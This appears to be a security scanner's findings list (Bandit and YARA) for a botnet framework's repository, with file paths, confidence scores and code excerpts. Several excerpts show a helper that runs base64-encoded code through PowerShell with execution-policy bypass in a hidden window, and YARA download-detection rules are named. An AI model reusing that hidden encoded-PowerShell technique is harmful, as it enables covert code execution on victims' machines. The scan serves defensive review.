418 try: 419 powershell = r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe' if os.path.exists(r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip() 420 return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/util.py line 416
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell: Seems safe, but may be changed in the future, consider rewriting without shell
415 try: 416 powershell = r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe' if os.path.exists(r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip() 417 return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 684
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell: Seems safe, but may be changed in the future, consider rewriting without shell
683 try: 684 powershell = r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe' if os.path.exists(r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip() 685 return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/util.py line 419
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell: Seems safe, but may be changed in the future, consider rewriting without shell
418 try: 419 powershell = r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe' if os.path.exists(r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip() 420 return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/util.py line 419
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell: Seems safe, but may be changed in the future, consider rewriting without shell
418 try: 419 powershell = r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe' if os.path.exists(r'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe') else os.popen('where powershell').read().rstrip() 420 return os.popen('{} -exec bypass -window hidden -noni -nop -encoded {}'.format(powershell, base64.b64encode(code))).read() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/api/payload/routes.py line 2
- Likely real
- Probably noise, 14% confidence
Consider possible security implications associated with the subprocess module.
1 import os 2 import subprocess 3 from flask import Blueprint, request, redirect, url_for, flash -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/payloads.py line 20
- Likely real
- Probably noise, 14% confidence
Consider possible security implications associated with the subprocess module.
19 import threading 20 import subprocess 21 import collections -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/server.py line 20
- Likely real
- Probably noise, 14% confidence
Consider possible security implications associated with the subprocess module.
19 import threading 20 import subprocess 21 import collections -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 258
- Likely real
- Probably noise, 14% confidence
Consider possible security implications associated with the subprocess module.
257 import random 258 import subprocess 259 import functools -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/payloads.py line 19
- Likely real
- Probably noise, 14% confidence
Consider possible security implications associated with the subprocess module.
18 import threading 19 import subprocess 20 import collections -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/server.py line 22
- Likely real
- Probably noise, 14% confidence
Consider possible security implications associated with the subprocess module.
21 import threading 22 import subprocess 23 import collections -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/portscanner.py line 14
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
13 from Queue import Queue 14 import subprocess 15 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/portscanner.py line 14
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
13 from Queue import Queue 14 import subprocess 15 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/generators.py line 17
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
16 import tempfile 17 import subprocess 18 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/icloud.py line 9
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
8 import ssl 9 import subprocess 10 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/persistence.py line 12
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
11 import string 12 import subprocess 13 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/setup.py line 14
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
13 import logging 14 import subprocess 15 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/icloud.py line 9
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
8 import ssl 9 import subprocess 10 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/generators.py line 15
- Likely real
- Probably noise, 13% confidence
Consider possible security implications associated with the subprocess module.
14 import tempfile 15 import subprocess 16 -
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/core/payloads.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/client.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/core/stagers.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/modules/icloud.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/modules/util.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/core/loader.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/setup.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/core/payloads.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/modules/icloud.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/modules/util.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/assets/js/codemirror/mode/shell/shell.js
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/core/loader.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/core/stagers.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/buildyourownbotnet/core/util.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/Dockerfile-py3-i386
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/Dockerfile-py3-amd64
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/README.md
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/Dockerfile-py3-win32
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/Dockerfile-py2-amd64
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/Dockerfile-py3-win64
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /web-gui/docker-pyinstaller/Dockerfile-py2-win32
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/core/util.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/client.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
-
- Engine
- YARA · Malware signature rules
- Counts towards
- Malicious pattern
- File
- /byob/server.py
- Likely real
- Probably noise, 0% confidence
YARA rule matched: detect_downloader — Downloads a remote resource - common and low-signal alone; see detect_download_and_execute for the composite version
No findings match these filters.